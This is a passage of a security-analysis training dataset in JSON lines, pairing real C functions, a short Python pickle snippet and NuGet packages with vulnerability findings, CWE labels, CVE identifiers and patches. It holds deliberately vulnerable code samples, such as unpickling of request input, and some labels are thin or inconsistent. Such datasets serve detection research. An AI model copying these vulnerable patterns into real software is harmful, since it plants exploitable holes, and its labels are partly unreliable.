1,\n \"col\": 34\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \"sk\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 42\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \"inet_sock\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 9\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 19\n },\n {\n \"token\": \"inet\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 20\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \"inet_sk\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 34\n },\n {\n \"token\": \"sk\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 35\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 38\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"rtable\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 9\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 16\n },\n {\n \"token\": \"rt\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 22\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 23\n },\n {\n \"token\": \"rtable\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 30\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 37\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 38\n },\n {\n \"token\": \"__sk_dst_check\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 39\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 53\n },\n {\n \"token\": \"sk\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 54\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 56\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 4,\n \"col\": 58\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 59\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 60\n },\n {\n \"token\": \"__be32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"daddr\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 14\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"err\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 6\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \"/* Route is OK, nothing to do. */\",\n \"ast_node\": \"comment\",\n \"line\": 8,\n \"col\": 2\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 9,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 5\n },\n {\n \"token\": \"rt\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 6\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 8\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 10,\n \"col\": 3\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 10,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 11\n },\n {\n \"token\": \"/* Reroute. */\",\n \"ast_node\": \"comment\",\n \"line\": 12,\n \"col\": 2\n },\n {\n \"token\": \"daddr\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 2\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 13,\n \"col\": 8\n },\n {\n \"token\": \"inet\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 10\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 13,\n \"col\": 14\n },\n {\n \"token\": \"inet_daddr\",\n \"ast_node\": \"field_identifier\",\n \"line\": 13,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 13,\n \"col\": 26\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 14,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 4\n },\n {\n \"token\": \"inet\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 5\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "python", "cwe": "CWE-502", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following python code. Detect the security vulnerability, locate the vulnerable tokens and their AST nodes, and output a structured finding.", "input": "import pickle\ndef load():\n param = request.args.get('file')\n return pickle.loads(param)\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-502\",\n \"cwe_name\": \"Insecure Deserialization\",\n \"title\": \"Insecure deserialization via pickle\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"call\",\n \"ast_path\": [\n \"module\",\n \"function_definition\",\n \"block\",\n \"return_statement\",\n \"call\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"pickle\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"loads\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 23\n },\n {\n \"token\": \"param\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 24\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 29\n }\n ],\n \"explanation\": \"pickle.loads on untrusted bytes executes arbitrary code during deserialization.\",\n \"remediation\": \"Do not deserialize untrusted data with native object deserializers; use a safe format (JSON) with schema validation.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-119). Produce the patched version and explain the fix. Output JSON.", "input": " int main(int argc, char **argv) {\n FILE *infile = NULL;\n vpx_codec_ctx_t codec;\n vpx_codec_enc_cfg_t cfg;\n int frame_count = 0;\n vpx_image_t raw;\n vpx_codec_err_t res;\n VpxVideoInfo info = {0};\n VpxVideoWriter *writer = NULL;\n const VpxInterface *encoder = NULL;\n const int fps = 30; // TODO(dkovalev) add command line argument\n const int bitrate = 200; // kbit/s TODO(dkovalev) add command line argument\n int keyframe_interval = 0;\n\n const char *codec_arg = NULL;\n const char *width_arg = NULL;\n const char *height_arg = NULL;\n const char *infile_arg = NULL;\n const char *outfile_arg = NULL;\n const char *keyframe_interval_arg = NULL;\n\n exec_name = argv[0];\n\n if (argc < 7)\n die(\"Invalid number of arguments\");\n\n codec_arg = argv[1];\n width_arg = argv[2];\n height_arg = argv[3];\n infile_arg = argv[4];\n outfile_arg = argv[5];\n keyframe_interval_arg = argv[6];\n\n encoder = get_vpx_encoder_by_name(codec_arg);\n if (!encoder)\n die(\"Unsupported codec.\");\n\n info.codec_fourcc = encoder->fourcc;\n info.frame_width = strtol(width_arg, NULL, 0);\n info.frame_height = strtol(height_arg, NULL, 0);\n info.time_base.numerator = 1;\n info.time_base.denominator = fps;\n\n if (info.frame_width <= 0 ||\n info.frame_height <= 0 ||\n (info.frame_width % 2) != 0 ||\n (info.frame_height % 2) != 0) {\n die(\"Invalid frame size: %dx%d\", info.frame_width, info.frame_height);\n }\n\n if (!vpx_img_alloc(&raw, VPX_IMG_FMT_I420, info.frame_width,\n info.frame_height, 1)) {\n die(\"Failed to allocate image.\");\n }\n\n keyframe_interval = strtol(keyframe_interval_arg, NULL, 0);\n\n if (keyframe_interval < 0)\n die(\"Invalid keyframe interval value.\");\n \n printf(\"Using %s\\n\", vpx_codec_iface_name(encoder->interface()));\n \n res = vpx_codec_enc_config_default(encoder->interface(), &cfg, 0);\n if (res)\n die_codec(&codec, \"Failed to get default codec config.\");\n \n cfg.g_w = info.frame_width;\n cfg.g_h = info.frame_height;\n cfg.g_timebase.num = info.time_base.numerator;\n cfg.g_timebase.den = info.time_base.denominator;\n cfg.rc_target_bitrate = bitrate;\n cfg.g_error_resilient = argc > 7 ? strtol(argv[7], NULL, 0) : 0;\n\n writer = vpx_video_writer_open(outfile_arg, kContainerIVF, &info);\n if (!writer)\n die(\"Failed to open %s for writing.\", outfile_arg);\n\n\n if (!(infile = fopen(infile_arg, \"rb\")))\n die(\"Failed to open %s for reading.\", infile_arg);\n \n if (vpx_codec_enc_init(&codec, encoder->interface(), &cfg, 0))\n die_codec(&codec, \"Failed to initialize encoder\");\n \n while (vpx_img_read(&raw, infile)) {\n int flags = 0;\n if (keyframe_interval > 0 && frame_count % keyframe_interval == 0)\n flags |= VPX_EFLAG_FORCE_KF;\n encode_frame(&codec, &raw, frame_count++, flags, writer);\n }\n encode_frame(&codec, NULL, -1, 0, writer); // flush the encoder\n \n printf(\"\\n\");\n fclose(infile);\n printf(\"Processed %d frames.\\n\", frame_count);\n\n vpx_img_free(&raw);\n if (vpx_codec_destroy(&codec))\n die_codec(&codec, \"Failed to destroy codec.\");\n\n vpx_video_writer_close(writer);\n\n return EXIT_SUCCESS;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"cve\": \"CVE-2016-1621\",\n \"fixed_code\": \" int main(int argc, char **argv) {\\n FILE *infile = NULL;\\n vpx_codec_ctx_t codec;\\n vpx_codec_enc_cfg_t cfg;\\n int frame_count = 0;\\n vpx_image_t raw;\\n vpx_codec_err_t res;\\n VpxVideoInfo info = {0};\\n VpxVideoWriter *writer = NULL;\\n const VpxInterface *encoder = NULL;\\n const int fps = 30; // TODO(dkovalev) add command line argument\\n const int bitrate = 200; // kbit/s TODO(dkovalev) add command line argument\\n int keyframe_interval = 0;\\n\\n const char *codec_arg = NULL;\\n const char *width_arg = NULL;\\n const char *height_arg = NULL;\\n const char *infile_arg = NULL;\\n const char *outfile_arg = NULL;\\n const char *keyframe_interval_arg = NULL;\\n\\n exec_name = argv[0];\\n\\n if (argc < 7)\\n die(\\\"Invalid number of arguments\\\");\\n\\n codec_arg = argv[1];\\n width_arg = argv[2];\\n height_arg = argv[3];\\n infile_arg = argv[4];\\n outfile_arg = argv[5];\\n keyframe_interval_arg = argv[6];\\n\\n encoder = get_vpx_encoder_by_name(codec_arg);\\n if (!encoder)\\n die(\\\"Unsupported codec.\\\");\\n\\n info.codec_fourcc = encoder->fourcc;\\n info.frame_width = strtol(width_arg, NULL, 0);\\n info.frame_height = strtol(height_arg, NULL, 0);\\n info.time_base.numerator = 1;\\n info.time_base.denominator = fps;\\n\\n if (info.frame_width <= 0 ||\\n info.frame_height <= 0 ||\\n (info.frame_width % 2) != 0 ||\\n (info.frame_height % 2) != 0) {\\n die(\\\"Invalid frame size: %dx%d\\\", info.frame_width, info.frame_height);\\n }\\n\\n if (!vpx_img_alloc(&raw, VPX_IMG_FMT_I420, info.frame_width,\\n info.frame_height, 1)) {\\n die(\\\"Failed to allocate image.\\\");\\n }\\n\\n keyframe_interval = strtol(keyframe_interval_arg, NULL, 0);\\n\\n if (keyframe_interval < 0)\\n die(\\\"Invalid keyframe interval value.\\\");\\n \\n printf(\\\"Using %s\\\\n\\\", vpx_codec_iface_name(encoder->codec_interface()));\\n \\n res = vpx_codec_enc_config_default(encoder->codec_interface(), &cfg, 0);\\n if (res)\\n die_codec(&codec, \\\"Failed to get default codec config.\\\");\\n \\n cfg.g_w = info.frame_width;\\n cfg.g_h = info.frame_height;\\n cfg.g_timebase.num = info.time_base.numerator;\\n cfg.g_timebase.den = info.time_base.denominator;\\n cfg.rc_target_bitrate = bitrate;\\n cfg.g_error_resilient = argc > 7 ? strtol(argv[7], NULL, 0) : 0;\\n\\n writer = vpx_video_writer_open(outfile_arg, kContainerIVF, &info);\\n if (!writer)\\n die(\\\"Failed to open %s for writing.\\\", outfile_arg);\\n\\n\\n if (!(infile = fopen(infile_arg, \\\"rb\\\")))\\n die(\\\"Failed to open %s for reading.\\\", infile_arg);\\n \\n if (vpx_codec_enc_init(&codec, encoder->codec_interface(), &cfg, 0))\\n die_codec(&codec, \\\"Failed to initialize encoder\\\");\\n \\n // Encode frames.\\n while (vpx_img_read(&raw, infile)) {\\n int flags = 0;\\n if (keyframe_interval > 0 && frame_count % keyframe_interval == 0)\\n flags |= VPX_EFLAG_FORCE_KF;\\n encode_frame(&codec, &raw, frame_count++, flags, writer);\\n }\\n\\n // Flush encoder.\\n while (encode_frame(&codec, NULL, -1, 0, writer)) {};\\n \\n printf(\\\"\\\\n\\\");\\n fclose(infile);\\n printf(\\\"Processed %d frames.\\\\n\\\", frame_count);\\n\\n vpx_img_free(&raw);\\n if (vpx_codec_destroy(&codec))\\n die_codec(&codec, \\\"Failed to destroy codec.\\\");\\n\\n vpx_video_writer_close(writer);\\n\\n return EXIT_SUCCESS;\\n}\\n\",\n \"change_summary\": \"Merge Conflict Fix CL to lmp-mr1-release for ag/849478\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-770", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: scriban\nInstalled version: <7.2.0\nSummary: Scriban: array.insert_at index parameter DoS bypasses LoopLimit and LimitToString", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-24c8-4792-22hx\",\n \"cve\": \"CVE-2026-74784\",\n \"aliases\": [\n \"CVE-2026-74784\"\n ],\n \"cwe\": \"CWE-770\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"scriban\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <7.2.0\",\n \"fixed_version\": \"7.2.0\",\n \"finding\": \"Scriban: array.insert_at index parameter DoS bypasses LoopLimit and LimitToString\",\n \"remediation\": \"Upgrade scriban to 7.2.0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void StreamTcpPacketSetState(Packet *p, TcpSession *ssn,\n uint8_t state)\n{\n if (state == ssn->state || PKT_IS_PSEUDOPKT(p))\n return;\n \n ssn->state = state;\n \n /* update the flow state */\n switch(ssn->state) {\n case TCP_ESTABLISHED:\n case TCP_FIN_WAIT1:\n case TCP_FIN_WAIT2:\n case TCP_CLOSING:\n case TCP_CLOSE_WAIT:\n FlowUpdateState(p->flow, FLOW_STATE_ESTABLISHED);\n break;\n case TCP_LAST_ACK:\n case TCP_TIME_WAIT:\n case TCP_CLOSED:\n FlowUpdateState(p->flow, FLOW_STATE_CLOSED);\n break;\n }\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-14568\",\n \"project\": \"suricata\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-190", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Magick.NET-Q16-AnyCPU\nInstalled version: <14.10.4\nSummary: ImageMagick has Integer Overflow leading to out of bounds write in SIXEL decoder", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-r39q-jr8h-gcq2\",\n \"cve\": \"CVE-2026-28493\",\n \"aliases\": [\n \"CVE-2026-28493\"\n ],\n \"cwe\": \"CWE-190\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Magick.NET-Q16-AnyCPU\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <14.10.4\",\n \"fixed_version\": \"14.10.4\",\n \"finding\": \"ImageMagick has Integer Overflow leading to out of bounds write in SIXEL decoder\",\n \"remediation\": \"Upgrade Magick.NET-Q16-AnyCPU to 14.10.4 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int ocfs2_file_open(struct inode *inode, struct file *file)\n{\n\tint status;\n\tint mode = file->f_flags;\n\tstruct ocfs2_inode_info *oi = OCFS2_I(inode);\n\n\ttrace_ocfs2_file_open(inode, file, file->f_path.dentry,\n\t\t\t (unsigned long long)OCFS2_I(inode)->ip_blkno,\n\t\t\t file->f_path.dentry->d_name.len,\n\t\t\t file->f_path.dentry->d_name.name, mode);\n\n\tif (file->f_mode & FMODE_WRITE) {\n\t\tstatus = dquot_initialize(inode);\n\t\tif (status)\n\t\t\tgoto leave;\n\t}\n\n\tspin_lock(&oi->ip_lock);\n\n\t/* Check that the inode hasn't been wiped from disk by another\n\t * node. If it hasn't then we're safe as long as we hold the\n\t * spin lock until our increment of open count. */\n\tif (OCFS2_I(inode)->ip_flags & OCFS2_INODE_DELETED) {\n\t\tspin_unlock(&oi->ip_lock);\n\n\t\tstatus = -ENOENT;\n\t\tgoto leave;\n\t}\n\n\tif (mode & O_DIRECT)\n\t\toi->ip_flags |= OCFS2_INODE_OPEN_DIRECT;\n\n\toi->ip_open_count++;\n\tspin_unlock(&oi->ip_lock);\n\n\tstatus = ocfs2_init_file_private(inode, file);\n\tif (status) {\n\t\t/*\n\t\t * We want to set open count back if we're failing the\n\t\t * open.\n\t\t */\n\t\tspin_lock(&oi->ip_lock);\n\t\toi->ip_open_count--;\n\t\tspin_unlock(&oi->ip_lock);\n\t}\n\nleave:\n\treturn status;\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int cli_bytecode_runhook(cli_ctx *cctx, const struct cl_engine *engine, struct cli_bc_ctx *ctx,\n\t\t\t unsigned id, fmap_t *map, const char **virname)\n{\n const unsigned *hooks = engine->hooks[id - _BC_START_HOOKS];\n unsigned i, hooks_cnt = engine->hooks_cnt[id - _BC_START_HOOKS];\n int ret;\n unsigned executed = 0, breakflag = 0, errorflag = 0;\n\n cli_dbgmsg(\"Bytecode executing hook id %u (%u hooks)\\n\", id, hooks_cnt);\n /* restore match counts */\n cli_bytecode_context_setfile(ctx, map);\n ctx->hooks.match_counts = ctx->lsigcnt;\n ctx->hooks.match_offsets = ctx->lsigoff;\n for (i=0;i < hooks_cnt;i++) {\n\tconst struct cli_bc *bc = &engine->bcs.all_bcs[hooks[i]];\n\tif (bc->lsig) {\n\t if (!cctx->hook_lsig_matches ||\n\t\t!cli_bitset_test(cctx->hook_lsig_matches, bc->hook_lsig_id-1))\n\t\tcontinue;\n\t cli_dbgmsg(\"Bytecode: executing bytecode %u (lsig matched)\\n\" , bc->id);\n\t}\n\tcli_bytecode_context_setfuncid(ctx, bc, 0);\n\tret = cli_bytecode_run(&engine->bcs, bc, ctx);\n\texecuted++;\n\tif (ret != CL_SUCCESS) {\n\t cli_warnmsg(\"Bytecode %u failed to run: %s\\n\", bc->id, cl_strerror(ret));\n\t errorflag = 1;\n\t continue;\n\t}\n\tif (ctx->virname) {\n\t cli_dbgmsg(\"Bytecode found virus: %s\\n\", ctx->virname);\n\t if (virname)\n\t\t*virname = ctx->virname;\n\t cli_bytecode_context_clear(ctx);\n\t return CL_VIRUS;\n\t}\n\tret = cli_bytecode_context_getresult_int(ctx);\n\t/* TODO: use prefix here */\n\tcli_dbgmsg(\"Bytecode %u returned %u\\n\", bc->id, ret);\n\tif (ret == 0xcea5e) {\n\t cli_dbgmsg(\"Bytecode set BREAK flag in hook!\\n\");\n\t breakflag = 1;\n\t}\n\tif (!ret) {\n\t char *tempfile;\n\t int fd = cli_bytecode_context_getresult_file(ctx, &tempfile);\n\t if (fd && fd != -1) {\n\t\tif (cctx && cctx->engine->keeptmp)\n\t\t cli_dbgmsg(\"Bytecode %u unpacked file saved in %s\\n\",\n\t\t\t bc->id, tempfile);\n\t\telse\n\t\t cli_dbgmsg(\"Bytecode %u unpacked file\\n\", bc->id);\n\t\tlseek(fd, 0, SEEK_SET);\n\t\tcli_dbgmsg(\"***** Scanning unpacked file ******\\n\");\n\t\tret = cli_magic_scandesc(fd, cctx);\n\t\tif (!cctx || !cctx->engine->keeptmp)\n\t\t if (ftruncate(fd, 0) == -1)\n\t\t\tcli_dbgmsg(\"ftruncate failed on %d\\n\", fd);\n\t\tclose(fd);\n\t\tif (!cctx || !cctx->engine->keeptmp) {\n\t\t if (tempfile && cli_unlink(tempfile))\n\t\t\tret = CL_EUNLINK;\n\t\t}\n\t\tfree(tempfile);\n\t\tif (ret != CL_CLEAN) {\n\t\t if (ret == CL_VIRUS)\n\t\t\tcli_dbgmsg(\"Scanning unpacked file by bytecode %u found a virus\\n\", bc->id);\n\t\t cli_bytecode_context_clear(ctx);\n\t\t return ret;\n\t\t}\n\t\tcli_bytecode_context_reset(ctx);\n\t\tcontinue;\n\t }\n\t}\n\tcli_bytecode_context_reset(ctx);\n }\n if (executed)\n\tcli_dbgmsg(\"Bytecode: executed %u bytecodes for this hook\\n\", executed);\n else\n\tcli_dbgmsg(\"Bytecode: no logical signature matched, no bytecode executed\\n\");\n if (errorflag && cctx && cctx->engine->bytecode_mode == CL_BYTECODE_MODE_TEST)\n\treturn CL_EBYTECODE_TESTFAIL;\n return breakflag ? CL_BREAK : CL_CLEAN;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"project\": \"clamav-devel\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int handle_ip_over_ddp(struct sk_buff *skb)\n{\n struct net_device *dev = __dev_get_by_name(\"ipddp0\");\n\tstruct net_device_stats *stats;\n\n\t/* This needs to be able to handle ipddp\"N\" devices */\n if (!dev)\n return -ENODEV;\n\n skb->protocol = htons(ETH_P_IP);\n skb_pull(skb, 13);\n skb->dev = dev;\n skb->h.raw = skb->data;\n\n\tstats = dev->priv;\n stats->rx_packets++;\n stats->rx_bytes += skb->len + 13;\n netif_rx(skb); /* Send the SKB up to a higher place. */\n\treturn 0;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"history\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-772", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " BOOL region16_intersect_rect(REGION16* dst, const REGION16* src, const RECTANGLE_16* rect)\n {\n \tREGION16_DATA* newItems;\n \tconst RECTANGLE_16* srcPtr, *endPtr, *srcExtents;\n \tRECTANGLE_16* dstPtr;\n\tUINT32 nbRects, usedRects;\n\tRECTANGLE_16 common, newExtents;\n\tassert(src);\n\tassert(src->data);\n\tsrcPtr = region16_rects(src, &nbRects);\n\n\tif (!nbRects)\n\t{\n\t\tregion16_clear(dst);\n\t\treturn TRUE;\n\t}\n\n\tsrcExtents = region16_extents(src);\n\n\tif (nbRects == 1)\n\t{\n\t\tBOOL intersects = rectangles_intersection(srcExtents, rect, &common);\n\t\tregion16_clear(dst);\n\n\t\tif (intersects)\n\t\t\treturn region16_union_rect(dst, dst, &common);\n\n\t\treturn TRUE;\n\t}\n\n\tnewItems = allocateRegion(nbRects);\n\n\tif (!newItems)\n\t\treturn FALSE;\n\n\tdstPtr = (RECTANGLE_16*)(&newItems[1]);\n\tusedRects = 0;\n\tZeroMemory(&newExtents, sizeof(newExtents));\n\n\t/* accumulate intersecting rectangles, the final region16_simplify_bands() will\n\t * do all the bad job to recreate correct rectangles\n\t */\n\tfor (endPtr = srcPtr + nbRects; (srcPtr < endPtr) && (rect->bottom > srcPtr->top); srcPtr++)\n\t{\n\t\tif (rectangles_intersection(srcPtr, rect, &common))\n\t\t{\n\t\t\t*dstPtr = common;\n\t\t\tusedRects++;\n\t\t\tdstPtr++;\n\n\t\t\tif (rectangle_is_empty(&newExtents))\n\t\t\t{\n\t\t\t\t/* Check if the existing newExtents is empty. If it is empty, use\n\t\t\t\t * new common directly. We do not need to check common rectangle\n\t\t\t\t * because the rectangles_intersection() ensures that it is not empty.\n\t\t\t\t */\n\t\t\t\tnewExtents = common;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tnewExtents.top = MIN(common.top, newExtents.top);\n\t\t\t\tnewExtents.left = MIN(common.left, newExtents.left);\n\t\t\t\tnewExtents.bottom = MAX(common.bottom, newExtents.bottom);\n\t\t\t\tnewExtents.right = MAX(common.right, newExtents.right);\n\t\t\t}\n\t\t}\n\t}\n\n\tnewItems->nbRects = usedRects;\n\tnewItems->size = sizeof(REGION16_DATA) + (usedRects * sizeof(RECTANGLE_16));\n\n \tif ((dst->data->size > 0) && (dst->data != &empty_region))\n \t\tfree(dst->data);\n \n\tdst->data = realloc(newItems, newItems->size);\n \n \tif (!dst->data)\n \t{\n\t\tfree(newItems);\n\t\treturn FALSE;\n\t}\n\n\tdst->extents = newExtents;\n\treturn region16_simplify_bands(dst);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-772\",\n \"cwe_name\": \"Missing Release of Resource\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2019-17178\",\n \"project\": \"FreeRDP\",\n \"vulnerable_lines\": [\n 75\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"BOOL\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"region16_intersect_rect\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 29\n },\n {\n \"token\": \"REGION16\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 30\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 38\n },\n {\n \"token\": \"dst\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 43\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \"REGION16\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 51\n },\n {\n \"token\": \"*\",\n 